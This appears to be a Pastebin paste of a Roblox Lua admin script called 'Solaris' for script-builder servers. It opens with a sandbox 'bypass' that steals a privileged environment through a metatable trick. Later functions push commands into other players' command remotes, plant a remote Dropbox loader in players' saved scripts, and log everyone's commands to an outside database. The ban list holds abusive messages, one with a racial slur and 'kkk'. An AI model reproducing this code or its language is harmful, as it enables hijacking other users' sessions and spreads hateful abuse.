SHOW:
|
|
- or go back to the newest paste.
1 | wait(); --Unremovable bypass | |
2 | script.Parent=nil | |
3 | rawset(shared, "\0bp", function() | |
4 | local i=game:service'InsertService':LoadAssetVersion(519416165); | |
5 | local n=i:children()[1]; | |
6 | game:service'Debris':AddItem(i,0); | |
7 | n.Parent=workspace; | |
8 | coroutine.yield(); | |
9 | local e; | |
10 | pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function(...)e=getfenv(2)end,__metatable=''})); | |
11 | _G.OSC_AddServerSideData=nil; | |
12 | game:service'Debris':AddItem(n,0); | |
13 | return e | |
14 | end); | |
15 | local y=shared['\0bp'](); | |
16 | shared["\0bp"]=nil; | |
17 | game:GetService'ReplicatedStorage':ClearAllChildren(); | |
18 | y.setfenv(0,y); | |
19 | y.setfenv(1,y); | |
20 | y.pcall(function() y.setfenv(2,y); end); --Ends the bypass | |
21 | ||
22 | -- Easiest Fixing ever l0l. | |
23 | ||
24 | --// Solaris Administration VERSION 1.0 | |
25 | local Solaris = { | |
26 | AccessKey = "=BNFO@E%+gAOyLJbIJSlQ!IXOfg^10wezjG6Nf#^b4fO%&wFuzAQ|youxgW&3gl&epj4V5=EFLO9#HAJ"; | |
27 | --// Kill Switch | |
28 | __STATUS = true; | |
29 | --// Administrations Components | |
30 | Admins = { | |
31 | ||
32 | ["explotion1337"]={Level=2e9}; | |
33 | }; | |
34 | Levels = { | |
35 | [1]="User"; | |
36 | [2]="Trusted"; | |
37 | [3]="Friend"; | |
38 | [4]="Administrator"; | |
39 | [5]="Creator/Developer"; | |
40 | [2e9]="Scripter of all!"; | |
41 | }; | |
42 | Banned = { | |
43 | gage7252002="bye bye skid ur banned now"; | |
44 | --Mikko3m="dont ban me skid C:"; | |
45 | --w00t111="this server has a age restriction come back in 970 days"; | |
46 | --CharcterKaiser="go die annoying skid"; | |
47 | --FallingVortex="lrn 2 skript kid gtfo liquidex skid"; | |
48 | robloxchamp20="u ban me i ban u git rkt"; | |
49 | -- iiDeadzone="u ban me i ban u git rkt"; | |
50 | endermanac="git bbban11!!!"; | |
51 | Dman2435="die just die"; | |
52 | Dman2435alt="die just die"; | |
53 | meunumbertwo="ur banned bby"; | |
54 | Copenricus45="you got stopped by an admin skid c;"; | |
55 | FreeModelInventor="get out skid go suc\5k my dick bitch whore"; | |
56 | PWNTART = "die pls thx u"; | |
57 | HopeYouHaveAGoodComp="you have been trolled nigger bitch die kkk"; | |
58 | BookOEchos="git banned bitch"; | |
59 | Autospy="another alt another ban"; | |
60 | TotallyNotAnAlt1257="another alt another ban"; | |
61 | fmerSKID005="another alt another ban"; | |
62 | crazychimp1284="dienoobkthxbye"; | |
63 | MrXTheGreat="dienoobkthxbye"; | |
64 | ScriptNurd="dienoobkthxbye"; | |
65 | Therealestnumber1="dienoobkthxbye"; | |
66 | Opligi="dienoobkthxbye"; | |
67 | jmckoy12="dienoobkthxbye"; | |
68 | ["5ascfrhubber"]="dienoobkthxbye"; | |
69 | DangCoolIsReal3="dienoobkthxbye"; | |
70 | legendy123="dienoobkthxbye"; | |
71 | PithIsOnline="dienoobkthxbye"; | |
72 | Opllgltory="git banned wanabe"; | |
73 | YeaImnotanalt="dienoobkthxbye"; | |
74 | superkiki609="git banned?"; | |
75 | immcool1="git banned now skid"; | |
76 | Om3gapro5ooo="f#ck you"; | |
77 | Skrillex6996="lol you banned"; | |
78 | rafael4040="get rekt lol"; | |
79 | ||
80 | }; | |
81 | Chatted = { | |
82 | Settings = { | |
83 | Prefix = ";"; | |
84 | Suffix = "-"; | |
85 | }; | |
86 | Commands = {}; | |
87 | }; | |
88 | --// Orb Components | |
89 | Settings = { | |
90 | Orb = nil; | |
91 | Character = nil; | |
92 | Following = false; | |
93 | Target = ""; | |
94 | TrailParts = {}; | |
95 | Trail = true; | |
96 | OrbColor = BrickColor.new("Institutional white"); | |
97 | TrailColor = BrickColor.new("Institutional white"); | |
98 | Rotation = { | |
99 | Rot = 0; | |
100 | Radius = 6.3; | |
101 | Height = 1; | |
102 | Bounce = 2.0; | |
103 | Speed = 0.03; | |
104 | Length = 0.014; | |
105 | }; | |
106 | }; | |
107 | --// Tool Components | |
108 | Blocker = { | |
109 | LocalBlock = false; | |
110 | GlobalBlock = false; | |
111 | LagBlocker = true; | |
112 | }; | |
113 | LagBlockedInstances = { | |
114 | "Message"; | |
115 | "Hint"; | |
116 | "Sound"; | |
117 | }; | |
118 | Logs = {}; | |
119 | --// Functional Storage | |
120 | API = { | |
121 | Bootstrap = {} | |
122 | }; | |
123 | } | |
124 | local Settings = Solaris.Settings | |
125 | local API = Solaris.API | |
126 | local Bootstrap = API.Bootstrap | |
127 | local Time = require(285173569) | |
128 | local rbxdb = require(278524047) | |
129 | --local key = "b0454f5837d3aaeeb879937c6f6c2215" | |
130 | --pcall(rbxdb:Connect(key)) | |
131 | ||
132 | --// Output API | |
133 | ||
134 | function API.print_to(target,input) | |
135 | if input == nil then input = "nil" end | |
136 | local plr | |
137 | if type(target)=='userdata'then | |
138 | plr = target | |
139 | elseif type(target)=='string'then | |
140 | plr = game:GetService('Players'):FindFirstChild(target) | |
141 | end | |
142 | if type(plr)=='userdata' then | |
143 | local str = Instance.new('StringValue',plr) | |
144 | str.Name = 'SB_Output:Output' | |
145 | str.Value = game:GetService('HttpService'):JSONEncode{'Warn',input} | |
146 | end | |
147 | end local print_to = Solaris.API.print_to | |
148 | ||
149 | function API.print(input) | |
150 | if input == nil then input = "nil" end | |
151 | for i,v in pairs(game:GetService('Players'):children())do | |
152 | if Solaris.Admins[v.Name]then | |
153 | if Solaris.Admins[v.Name].Level > 2 then | |
154 | print_to(v,input) | |
155 | end | |
156 | end | |
157 | end | |
158 | end local print = Solaris.API.print | |
159 | ||
160 | function API.print_lvl(level,input) | |
161 | if input == nil then input = "nil" end | |
162 | for i,v in pairs(game:GetService('Players'):GetPlayers())do | |
163 | if Solaris.Admins[v.Name]then | |
164 | if Solaris.Admins[v.Name].Level > level then | |
165 | print_to(v,input) | |
166 | end | |
167 | end | |
168 | end | |
169 | end local print_lvl = Solaris.API.print_lvl | |
170 | ||
171 | function API.broadcast(input) | |
172 | if input == nil then input = "nil" end | |
173 | for i,v in pairs(game:GetService('Players'):GetPlayers())do | |
174 | print_to(v,input) | |
175 | end | |
176 | end local broadcast = Solaris.API.broadcast | |
177 | ||
178 | --// Utility API | |
179 | ||
180 | function API.Make(ClassName) | |
181 | return function(data) | |
182 | local Instance = Instance.new(ClassName) | |
183 | for index,value in pairs(data) do | |
184 | if type(index) == "number" then | |
185 | value.Parent = Instance | |
186 | else | |
187 | Instance[index] = value | |
188 | end | |
189 | end | |
190 | return Instance | |
191 | end | |
192 | end local Make = API.Make | |
193 | ||
194 | function API.clerp(p1,p2,percent) | |
195 | local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components() | |
196 | local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components() | |
197 | return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22)) | |
198 | end local clerp = API.clerp | |
199 | ||
200 | function API.Rainbow(i) | |
201 | local section = i % 1 * 3 | |
202 | local secondary = 0.5 * math.pi * (section % 1) | |
203 | if section < 1 then | |
204 | return 1, 1 - math.cos(secondary), 1 - math.sin(secondary) | |
205 | elseif section < 2 then | |
206 | return 1 - math.sin(secondary), 1, 1 - math.cos(secondary) | |
207 | else | |
208 | return 1 - math.cos(secondary), 1 - math.sin(secondary), 1 | |
209 | end | |
210 | end local Rainbow = API.Rainbow | |
211 | ||
212 | function API.GetPlayer(msg,plr) | |
213 | local Collected_Players = {} | |
214 | if string.lower(msg) == "me" then | |
215 | table.insert(Collected_Players, plr) | |
216 | elseif string.lower(msg) == "all" then | |
217 | for index,player in pairs(game:GetService('Players'):children()) do | |
218 | if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level or (plr.Name == player.Name) then | |
219 | table.insert(Collected_Players, player) | |
220 | end | |
221 | end | |
222 | elseif string.lower(msg) == "others" then | |
223 | for index,player in pairs(game:GetService('Players'):children()) do | |
224 | if player.Name ~= plr.Name then | |
225 | if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then | |
226 | table.insert(Collected_Players, player) | |
227 | end | |
228 | end | |
229 | end | |
230 | elseif string.lower(msg) == "friends" then | |
231 | for index,player in pairs(game:GetService('Players'):children()) do | |
232 | if player.Name ~= plr.Name then | |
233 | if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then | |
234 | if plr:IsFriendsWith(player.userId) == true then | |
235 | table.insert(Collected_Players, player) | |
236 | end | |
237 | end | |
238 | end | |
239 | end | |
240 | elseif string.lower(msg) == "nonfriends" then | |
241 | for index,player in pairs(game:GetService('Players'):children()) do | |
242 | if player.Name ~= plr.Name then | |
243 | if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then | |
244 | if plr:IsFriendsWith(player.userId) == false then | |
245 | table.insert(Collected_Players, player) | |
246 | end | |
247 | end | |
248 | end | |
249 | end | |
250 | else | |
251 | for index,player in pairs(game:GetService('Players'):children()) do | |
252 | if string.sub(string.lower(player.Name), 1, #msg) == string.lower(msg) then | |
253 | if Solaris.Admins[player.Name].Level <= Solaris.Admins[plr.Name].Level or (plr.Name == player.Name) then | |
254 | table.insert(Collected_Players, player) | |
255 | end | |
256 | end | |
257 | end | |
258 | end | |
259 | return Collected_Players | |
260 | end local GetPlayer = API.GetPlayer | |
261 | ||
262 | function API.GetSplit(msg) | |
263 | return string.find(msg,Solaris.Chatted.Settings.Suffix) | |
264 | end local GetSplit = API.GetSplit | |
265 | ||
266 | function API.Generate(Length) | |
267 | local Generated = "" | |
268 | for _ = 1, Length do | |
269 | Generated = Generated .. string.char(math.random(33,126)) | |
270 | end | |
271 | return Generated | |
272 | end local Generate = API.Generate | |
273 | ||
274 | function API.GetGarbage(plr) | |
275 | print_to(plr,"Got Garbage") | |
276 | print_to(plr,"________________________") | |
277 | for i = 1,10 do wait(1) | |
278 | print_to(plr,"| Attempt#"..i.." ["..collectgarbage("count").."] |") | |
279 | end | |
280 | print_to(plr,"________________________") | |
281 | end local GetGarbage = API.GetGarbage | |
282 | ||
283 | --// Orb API | |
284 | ||
285 | function API.SpawnOrb() | |
286 | Settings.Orb = Make('Part'){ | |
287 | Name = "\5\5\5\5Solar\5\5is\5\5\5\5"; | |
288 | Parent = game.Workspace, | |
289 | BrickColor = Settings.OrbColor, | |
290 | Material = Enum.Material.SmoothPlastic, | |
291 | Transparency = .1, | |
292 | Anchored = true, | |
293 | CanCollide = false, | |
294 | Locked = true, | |
295 | FormFactor = "Symmetric", | |
296 | Shape = "Ball", | |
297 | Size = Vector3.new(1,1,1), | |
298 | TopSurface = 10, | |
299 | BottomSurface = 10, | |
300 | }Settings.Orb.Changed:connect(function() | |
301 | if not game.Workspace:FindFirstChild(Settings.Orb.Name)then | |
302 | if Solaris.__STATUS == true then | |
303 | API.SpawnOrb() | |
304 | end | |
305 | end | |
306 | end) | |
307 | end local SpawnOrb = API.SpawnOrb | |
308 | ||
309 | function API.MakeTrail() | |
310 | if Settings.Orb ~= nil and Settings.Trail == true then | |
311 | local Trail = Make'Part'{ | |
312 | CanCollide = false, | |
313 | Parent = Settings.Orb, | |
314 | BrickColor = Settings.TrailColor, | |
315 | Material = Enum.Material.SmoothPlastic, | |
316 | Transparency = .1, | |
317 | Anchored = true, | |
318 | Locked = true, | |
319 | FormFactor = "Custom", | |
320 | Size = Vector3.new(.2,.2,.2), | |
321 | CFrame = Settings.Orb.CFrame, | |
322 | TopSurface = 10, | |
323 | BottomSurface = 10, | |
324 | }table.insert(Settings.TrailParts, Trail) | |
325 | return Trail | |
326 | end | |
327 | end local MakeTrail = API.MakeTrail | |
328 | ||
329 | function API.SpawnTrail() | |
330 | if Settings.Orb ~= nil and Settings.Trail == true then | |
331 | local Trail = API.MakeTrail() | |
332 | end | |
333 | end local SpawnTrail = API.SpawnTrail | |
334 | ||
335 | function API.Rotate() | |
336 | game:GetService('RunService').Stepped:connect(function() | |
337 | if Solaris.__STATUS == true then | |
338 | wait() | |
339 | local Following=game:GetService('Players'):FindFirstChild(Settings.Target) | |
340 | if Following and Following.Character and Following.Character:FindFirstChild("Torso") and Settings.Following then | |
341 | Settings.Character = Following.Character.Torso.CFrame | |
342 | else | |
343 | Settings.Character = CFrame.new(0,5.7,0) | |
344 | end | |
345 | if Settings.Orb ~= nil then | |
346 | Settings.Rotation.Rot = Settings.Rotation.Rot + Settings.Rotation.Speed | |
347 | Settings.Orb.Name = "\5\5\5\5Solar\5\5is\5\5\5\5" | |
348 | Settings.Orb.CFrame = clerp(Settings.Orb.CFrame, | |
349 | CFrame.new(Settings.Character.p) | |
350 | *CFrame.new(0,3.9,0) | |
351 | *CFrame.Angles(0,Settings.Rotation.Rot,(math.sin((tick())*.9)*5)*.6) | |
352 | *CFrame.new(Settings.Rotation.Radius, math.sin((tick())*Settings.Rotation.Bounce)*Settings.Rotation.Height,2) | |
353 | *CFrame.Angles(100,Settings.Rotation.Rot,(math.sin((tick())*1)*5)*.9) ,.1) | |
354 | API.SpawnTrail() | |
355 | for i,_ in next,Settings.TrailParts do | |
356 | if Settings.TrailParts[i] ~= nil and Settings.TrailParts[i+1] ~= nil then | |
357 | local Part1 = Settings.TrailParts[i] | |
358 | local Part2 = Settings.TrailParts[i+1] | |
359 | local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude) | |
360 | Part1.Name = math.random(1,99999999) | |
361 | Part1.Size = Vector3.new(Part1.Size.X+Settings.Rotation.Length, Mag, Part1.Size.Z+Settings.Rotation.Length) | |
362 | Part1.Transparency = Part1.Transparency + .017 | |
363 | Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p) | |
364 | * CFrame.Angles(math.pi/2,0,0) | |
365 | if Part1.Size.X >= .74 then | |
366 | Part1:Destroy() | |
367 | table.remove(Settings.TrailParts, i) | |
368 | end | |
369 | end | |
370 | end | |
371 | end | |
372 | end | |
373 | end) | |
374 | end local Rotate = API.Rotate | |
375 | ||
376 | function API.ChangeTheme(plr,theme) | |
377 | --// Sets orb to default configurations | |
378 | Settings.Orb.BrickColor = BrickColor.new('White') | |
379 | Settings.Orb.Transparency = .1 | |
380 | for i,v in pairs(Settings.Orb:children())do if v.ClassName=='SpecialMesh'then v:remove()end end | |
381 | --// Themes | |
382 | if theme == 'normal' then | |
383 | API.SpawnTrail = function() | |
384 | if Settings.Orb ~= nil and Settings.Trail == true then | |
385 | local Trail = API.MakeTrail() | |
386 | end | |
387 | end | |
388 | elseif theme == 'op' then | |
389 | API.SpawnTrail = function() | |
390 | if Settings.Orb ~= nil and Settings.Trail == true then | |
391 | local Trail = API.MakeTrail() | |
392 | spawn(function() | |
393 | Settings.Orb.BrickColor = BrickColor.new('Really black') | |
394 | Trail.BrickColor = BrickColor.new('Deep orange') | |
395 | local box = Make('SelectionBox'){ | |
396 | Adornee = Trail; | |
397 | Parent = Trail; | |
398 | Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5"; | |
399 | LineThickness = 0.001; | |
400 | Color3 = Color3.new(0,0,0); | |
401 | } | |
402 | end) | |
403 | end | |
404 | end | |
405 | elseif theme == 'op-light' then | |
406 | API.SpawnTrail = function() | |
407 | if Settings.Orb ~= nil and Settings.Trail == true then | |
408 | local Trail = API.MakeTrail() | |
409 | spawn(function() | |
410 | Settings.Orb.BrickColor = BrickColor.new('Really black') | |
411 | Trail.BrickColor = BrickColor.new('Deep orange') | |
412 | local box = Make('SelectionBox'){ | |
413 | Adornee = Trail; | |
414 | Parent = Trail; | |
415 | Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5"; | |
416 | LineThickness = 0.001; | |
417 | Color3 = Color3.new(255,255,255); | |
418 | } | |
419 | end) | |
420 | end | |
421 | end | |
422 | elseif theme == 'clv' then | |
423 | API.SpawnTrail = function() | |
424 | local Trail = API.MakeTrail() | |
425 | spawn(function() | |
426 | Trail.BrickColor = BrickColor.new("Cyan") | |
427 | Settings.Orb.BrickColor = BrickColor.new("Really black") | |
428 | local S_Box = Make('SelectionBox'){ | |
429 | Adornee = Trail; | |
430 | Parent = Trail; | |
431 | Name = "\5\5\5\5\SelectionBox\5\5\5\5\5"; | |
432 | LineThickness = 0; | |
433 | Color3 = BrickColor.new("Really black").Color; | |
434 | } | |
435 | end) | |
436 | end | |
437 | elseif theme == 'whiteout' then | |
438 | API.SpawnTrail = function() | |
439 | local Trail = API.MakeTrail() | |
440 | spawn(function() | |
441 | Trail.BrickColor = BrickColor.new("White") | |
442 | Settings.Orb.BrickColor = BrickColor.new("Really black") | |
443 | local S_Box = Make('SelectionBox'){ | |
444 | Adornee = Trail; | |
445 | Parent = Trail; | |
446 | Name = "\5\5\5\5\SelectionBox\5\5\5\5\5"; | |
447 | LineThickness = 0; | |
448 | Color3 = BrickColor.new("Really black").Color; | |
449 | } | |
450 | local Mesh = Make('SpecialMesh'){ | |
451 | Parent = Settings.Orb; | |
452 | MeshId = "http://www.roblox.com/asset/?id=1529453"; | |
453 | Name = "Mesh"; | |
454 | Scale = Vector3.new(2.5,2.5,2.5) | |
455 | } | |
456 | end) | |
457 | end | |
458 | elseif theme == 'hidden' then | |
459 | API.SpawnTrail = function() | |
460 | local Trail = API.MakeTrail() | |
461 | spawn(function() | |
462 | Trail.Transparency = 1 | |
463 | Settings.Orb.Transparency = 1 | |
464 | end) | |
465 | end | |
466 | else | |
467 | print_to(plr,"[Error]: "..theme.." is not a valid theme name") | |
468 | return | |
469 | end | |
470 | print_to(plr,"[Solairs]: Orb has changed theme to "..theme) | |
471 | end local ChangeTheme = API.ChangeTheme | |
472 | ||
473 | function API.Follow(boolean,plr) | |
474 | if type(plr)~='string'then return end | |
475 | if boolean == true then | |
476 | Settings.Following = true | |
477 | Settings.Target = plr | |
478 | elseif boolean == false then | |
479 | Settings.Following = false | |
480 | Settings.Target = "" | |
481 | end | |
482 | end local Follow = API.Follow | |
483 | ||
484 | --// Oxcool1 Sb Tools API | |
485 | ||
486 | function API.Sbexe(cmd,plr) | |
487 | if not type(cmd)=='string'then return end | |
488 | if plr then | |
489 | if type(plr)=='userdata'then | |
490 | plr:FindFirstChild("SB_CommandRemote",true).Value = cmd | |
491 | elseif type(plr)=='string'then | |
492 | plr = game:GetService('Players'):FindFirstChild(plr) | |
493 | plr:FindFirstChild("SB_CommandRemote",true).Value = cmd | |
494 | end | |
495 | else | |
496 | for i,v in pairs(game:GetService('Players'):children())do | |
497 | v:FindFirstChild("SB_CommandRemote",true).Value = cmd | |
498 | end | |
499 | end | |
500 | end local Sbexe = API.Sbexe | |
501 | ||
502 | function API.ConnectLogger(plr) | |
503 | if type(plr) ~= 'userdata'then return end | |
504 | if plr:FindFirstChild("SB_CommandRemote",true) then | |
505 | plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function() | |
506 | if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://pastebin.com/raw.php?i=TdtSWRAL' then | |
507 | Sbexe("g/ns")wait(.1) | |
508 | plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script") | |
509 | end | |
510 | if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then | |
511 | table.insert(Solaris.Logs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)}) | |
512 | local CurrentTime = Time:GetTime() | |
513 | local TimeStamp = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]") | |
514 | rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)) | |
515 | end | |
516 | end) | |
517 | end | |
518 | end local ConnectLogger = API.ConnectLogger | |
519 | ||
520 | function API.GetLogs(plr) | |
521 | print_to(plr,"Got logs") | |
522 | if #Solaris.Logs > 0 then print_to(plr,"--------------------------------") end | |
523 | for index,data in pairs(Solaris.Logs)do | |
524 | if #Solaris.Logs > 30 then wait(.1)end | |
525 | print_to(plr,tostring(data.User)) | |
526 | print_to(plr,tostring(data.Command)) | |
527 | print_to(plr,"--------------------------------") | |
528 | end | |
529 | end local GetLogs = API.GetLogs | |
530 | ||
531 | function API.InjectLoader(plr) | |
532 | Sbexe("remove/Solaris",plr) | |
533 | Sbexe("ch/Solaris/https://www.dropbox.com/s/574ygd6vonqk4i8/Deployment-Script.lua?dl=1",plr) | |
534 | Sbexe("save/Solaris",plr) | |
535 | end local InjectLoader = API.InjectLoader | |
536 | ||
537 | function API.GetSavedScripts(plr) | |
538 | local Save_Key = string.reverse("stpircSdevaS_xoREDliubtpIrCs"); | |
539 | print_to(plr,"Got Saved Scripts") | |
540 | for i,v in pairs(game:GetService('Players'):children())do | |
541 | if v.ClassName == 'Player' then | |
542 | local Encoded_Table = v:LoadString(Save_Key) | |
543 | local Decoded_Table | |
544 | ||
545 | --//Table Decoding | |
546 | if type(Encoded_Table)=='string' and Encoded_Table=="[]"or Encoded_Table==""then | |
547 | Decoded_Table = {{No=" Saved Scripts"}} | |
548 | else | |
549 | Decoded_Table = game:GetService('HttpService'):JSONDecode(Encoded_Table) | |
550 | end | |
551 | --// Table Printing | |
552 | --print_to(plr,"------------------------------------------------------------------") | |
553 | print_to(plr,"--------------------------["..v.Name.."]--------------------------") | |
554 | if type(Decoded_Table)=='table'then | |
555 | for _index,_data in pairs(Decoded_Table)do | |
556 | for index,data in pairs(_data)do | |
557 | wait(.1) | |
558 | print_to(plr,index.." : "..data) | |
559 | end | |
560 | end | |
561 | end | |
562 | print_to(plr,"------------------------------------------------------------------") | |
563 | end | |
564 | end | |
565 | end local GetSavedScripts = API.GetSavedScripts | |
566 | ||
567 | function API.GiveServerConsole(Player) | |
568 | if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then | |
569 | spawn(function() | |
570 | local Create = API.Make | |
571 | local Closed = false | |
572 | local ScreenGui = Create "ScreenGui" { | |
573 | Name = "Server Console", | |
574 | Parent = Player.PlayerGui | |
575 | } | |
576 | local Main = Create "TextButton" { | |
577 | AutoButtonColor = false, | |
578 | BackgroundColor3 = Color3.new(0, 0, 0), | |
579 | BorderSizePixel = 0, | |
580 | Size = UDim2.new(0, 375, 0, 15), | |
581 | Draggable = true, | |
582 | Font = "SourceSansBold", | |
583 | FontSize = "Size14", | |
584 | TextYAlignment = "Top", | |
585 | TextColor3 = Color3.new(1, 1, 1), | |
586 | Text = " Server Console", | |
587 | TextXAlignment = "Left", | |
588 | Position = UDim2.new(0.321, 0, 0.196, 0), | |
589 | Parent = ScreenGui | |
590 | } | |
591 | local Refresh = Create "TextButton" { | |
592 | Active = true, | |
593 | AutoButtonColor = false, | |
594 | BackgroundColor3 = Color3.new(0, 0, 0), | |
595 | BorderSizePixel = 0, | |
596 | Position = UDim2.new(1, 0, 0, 0), | |
597 | Size = UDim2.new(0, 60, 0, 15), | |
598 | Font = "SourceSansBold", | |
599 | FontSize = "Size14", | |
600 | Text = "Refresh", | |
601 | TextYAlignment = "Top", | |
602 | TextColor3 = Color3.new(1, 1, 1), | |
603 | TextYAlignment = "Top", | |
604 | TextXAlignment = "Right", | |
605 | Parent = Main | |
606 | } | |
607 | local TextButton = Create "TextButton" { | |
608 | AutoButtonColor = false, | |
609 | BackgroundColor3 = Color3.new(0, 0, 0), | |
610 | BorderSizePixel = 0, | |
611 | Position = UDim2.new(1, 60, 0, 0), | |
612 | Size = UDim2.new(0, 15, 0, 15), | |
613 | Font = "SourceSansBold", | |
614 | FontSize = "Size14", | |
615 | TextYAlignment = "Top", | |
616 | Text = "-", | |
617 | TextColor3 = Color3.new(1, 1, 1), | |
618 | Parent = Main | |
619 | } | |
620 | local ContentFrame = Create "Frame" { | |
621 | BackgroundColor3 = Color3.new(0, 0, 0), | |
622 | BackgroundTransparency = 0.2, | |
623 | BorderSizePixel = 0, | |
624 | Position = UDim2.new(0, 0, 0, 15), | |
625 | Size = UDim2.new(0, 450, 0, 0), | |
626 | Parent = Main | |
627 | } | |
628 | local ScrollingFrame = Create "ScrollingFrame" { | |
629 | Size = UDim2.new(1, 0, 1, 0), | |
630 | CanvasSize = UDim2.new(3, 0, 0, 0), | |
631 | MidImage = "rbxassetid://158362264", | |
632 | TopImage = "rbxassetid://158362307", | |
633 | BottomImage = "rbxassetid://158362221", | |
634 | BackgroundTransparency = 1, | |
635 | BorderSizePixel = 0, | |
636 | ScrollBarThickness = 5, | |
637 | Parent = ContentFrame | |
638 | } | |
639 | ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true) | |
640 | TextButton.MouseButton1Down:connect(function() | |
641 | if Closed == false then | |
642 | Closed = true | |
643 | TextButton.Text = "+" | |
644 | ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true) | |
645 | delay(1, function() | |
646 | ScrollingFrame.Visible = false | |
647 | end) | |
648 | else | |
649 | Closed = false | |
650 | TextButton.Text = "-" | |
651 | ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true) | |
652 | delay(0.5, function() | |
653 | ScrollingFrame.Visible = true | |
654 | end) | |
655 | end | |
656 | end) | |
657 | local function GetNumberOfChildren(Object) | |
658 | local Number = -15 | |
659 | for index,child in pairs(Object:GetChildren()) do | |
660 | if child.ClassName == "TextLabel" then | |
661 | Number = Number + 15 | |
662 | end | |
663 | end | |
664 | return Number | |
665 | end | |
666 | local function Output(Text, Color) | |
667 | local Line = Create "TextLabel" { | |
668 | ZIndex = 2, | |
669 | BackgroundTransparency = 1, | |
670 | BorderSizePixel = 0, | |
671 | Text = string.format(" %s", Text), | |
672 | Font = "SourceSansBold", | |
673 | FontSize = "Size14", | |
674 | TextColor3 = Color, | |
675 | TextWrapped = false, | |
676 | Size = UDim2.new(1, 0, 0, 15), | |
677 | Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)), | |
678 | TextXAlignment = "Left", | |
679 | TextYAlignment = "Top", | |
680 | TextStrokeTransparency = 0.9, | |
681 | Parent = ScrollingFrame, | |
682 | } | |
683 | if #ScrollingFrame:GetChildren() > 29 then | |
684 | local NumChildren = GetNumberOfChildren(ScrollingFrame) | |
685 | ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren) | |
686 | ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5) | |
687 | end | |
688 | end | |
689 | local function OutputLogHistory() | |
690 | for index,data in pairs(game.LogService:GetLogHistory()) do | |
691 | if data.messageType == Enum.MessageType.MessageOutput then | |
692 | Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1)) | |
693 | elseif data.messageType == Enum.MessageType.MessageWarning then | |
694 | Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4)) | |
695 | elseif data.messageType == Enum.MessageType.MessageError then | |
696 | Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0)) | |
697 | elseif data.messageType == Enum.MessageType.MessageInfo then | |
698 | Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1)) | |
699 | end | |
700 | end | |
701 | end | |
702 | OutputLogHistory() | |
703 | Refresh.MouseButton1Down:connect(function() | |
704 | ScrollingFrame:ClearAllChildren() | |
705 | wait() | |
706 | OutputLogHistory() | |
707 | end) | |
708 | end) | |
709 | end | |
710 | end local GiveServerConsole = API.GiveServerConsole | |
711 | ||
712 | function API.SafeExe(string_src,string_plr) | |
713 | if string_src == nil then string_src = "" end | |
714 | ||
715 | local BypassEnv = getfenv(1) | |
716 | BypassEnv.script = "Locked Object" | |
717 | BypassEnv.print_to = print_to | |
718 | rawset(_G,"NewBypassEnv",BypassEnv) | |
719 | ||
720 | local ExecuteSource = [[ | |
721 | wait(.1) | |
722 | local newEnv = _G.NewBypassEnv | |
723 | newEnv.owner = getfenv(1).owner | |
724 | newEnv.print = function(i) | |
725 | if i == nil then i = "" end | |
726 | newEnv.print_to(tostring(owner),i) | |
727 | end | |
728 | setfenv(1,newEnv) | |
729 | ]] | |
730 | local ExeSrc = ExecuteSource..string_src | |
731 | Sbexe("c/"..ExeSrc,string_plr) | |
732 | end local SafeExe = API.SafeExe | |
733 | ||
734 | --// Admin API | |
735 | ||
736 | function API.GetAdmins(plr) | |
737 | for i,v in pairs(Solaris.Admins)do | |
738 | print_to(plr,"["..i.."]-"..Solaris.Levels[v.Level]) | |
739 | end | |
740 | end local GetAdmins = API.GetAdmins | |
741 | ||
742 | function API.AddCommand(Name,Usage,Desc,Level,Func) | |
743 | table.insert(Solaris.Chatted.Commands,{Name=Name,Usage=Usage,Desc=Desc,Level=Level,Func=Func}) | |
744 | end local AddCommand = API.AddCommand | |
745 | ||
746 | function API.Chatted(plr,msg) | |
747 | if msg:lower()=='h/http://pastebin.com/raw.php?i=TdtSWRAL'then | |
748 | Sbexe("g/ns") | |
749 | plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script") | |
750 | end | |
751 | local Commands = Solaris.Chatted.Commands | |
752 | local Prefix = Solaris.Chatted.Settings.Prefix | |
